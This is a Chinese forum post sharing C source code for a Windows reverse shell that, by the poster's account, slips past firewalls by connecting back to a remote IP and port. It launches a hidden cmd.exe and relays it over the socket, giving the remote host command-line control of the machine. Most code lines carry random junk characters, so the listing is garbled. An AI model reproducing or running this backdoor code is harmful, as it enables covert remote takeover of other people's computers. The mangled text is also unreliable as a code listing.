社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5028阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @ CL{D:d  
1z4OI6$Af  
/* ============================== BsDn5\ q  
Rebound port in Windows NT VQt0  4?  
By wind,2006/7 3,3N^nSD  
===============================*/ e2TiBTbQaF  
#include 9d659i C  
#include ^98~U\ar  
!sP {gi#=  
#pragma comment(lib,"wsock32.lib") qOtgve`jX  
:6 R\OeH+  
void OutputShell(); `wEb<H  
SOCKET sClient; 20h, ^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '3fu  
s?}e^/"v  
void main(int argc,char **argv) H[$"+&q  
{ xwq (N_  
WSADATA stWsaData; >uB# &Q  
int nRet; ]y '>=a|T  
SOCKADDR_IN stSaiClient,stSaiServer; ^A/k)x6  
g3/W=~r  
if(argc != 3) 83\pZ1>)_  
{ } 9Eg=%0v  
printf("Useage:\n\rRebound DestIP DestPort\n"); B%b4v  
return; u'DRN,h+  
} sf87$S0  
Qbn"=n2  
WSAStartup(MAKEWORD(2,2),&stWsaData); J/aC}}5D  
CYP q#rd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .@U@xRu7|  
^"2J]&x`G  
stSaiClient.sin_family = AF_INET; Om\vMd@!  
stSaiClient.sin_port = htons(0); xJ8M6O8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *vxk@ `K~  
mxC;?s;~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zu{P#~21  
{ ,!y$qVg'\f  
printf("Bind Socket Failed!\n"); G4X|Bka  
return; #OD/$f_  
} ,m:.-iy?  
WPMSm<[  
stSaiServer.sin_family = AF_INET; )9`qG:b'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KL57# gV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h(_57O:  
;:g@zAV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'Aq{UGN  
{ 06Sceq  
printf("Connect Error!"); v%z=ysA  
return; NP3y+s  
} [EXs  
OutputShell(); [D4SW#  
} *C*U5~Zq7:  
%_W)~Pv{+  
void OutputShell() ucW-I;"  
{ kfY}S  
char szBuff[1024]; 3$>1FoSk  
SECURITY_ATTRIBUTES stSecurityAttributes; VU]`&`~J  
OSVERSIONINFO stOsversionInfo; |N7M^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N +_t-5  
STARTUPINFO stStartupInfo; xy[3u?,&s!  
char *szShell; | rtD.,m   
PROCESS_INFORMATION stProcessInformation; oIzj,v8$  
unsigned long lBytesRead; y I  
,f'CD{E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9F;>W ET  
6}Ci>_i4#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ag[wdoj  
stSecurityAttributes.lpSecurityDescriptor = 0; H=vUYz  
stSecurityAttributes.bInheritHandle = TRUE; `0gyr(fES  
nT$SfGFj8  
WO>nIo5Y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D8?Vn"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s$`0yGmQ  
D'PI1 0t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c]o'xd,T8\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {]@= ijjf  
stStartupInfo.wShowWindow = SW_HIDE; YZ8>OwQz2  
stStartupInfo.hStdInput = hReadPipe; [<yaXQxl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P{>!5|k  
>jLY"  
GetVersionEx(&stOsversionInfo); yjJ5>cg  
@:vwb\azVD  
switch(stOsversionInfo.dwPlatformId) `kXs;T6&  
{ ]Q3ADh  
case 1: \?k'4rH  
szShell = "command.com"; %XQ(fj>  
break; -zeG1gr3  
default: Jk n>S#SZ  
szShell = "cmd.exe"; A]oV"`f  
break; =>v#4zFd  
} !F'YDjTot  
wc4{)qDE  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V6X 0^g  
rw JIx|(  
send(sClient,szMsg,77,0); s*]}QmRpr  
while(1) KRRdXx\~  
{ qqY"*uJ'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oAeUvmh  
if(lBytesRead) 2uW; xfeY  
{ Fk7')?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Am|%lj+1z  
send(sClient,szBuff,lBytesRead,0); aeM+ d`f  
} O m2d .7S  
else ?NsW|w_  
{ WP'!*[z  
lBytesRead=recv(sClient,szBuff,1024,0); kxhWq:[c  
if(lBytesRead<=0) break; ;dgp+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7[XRd9a5(  
} +\ .Lp 5  
} Qe:seW  
CkQ3#L<2  
return; _)m]_eS._  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八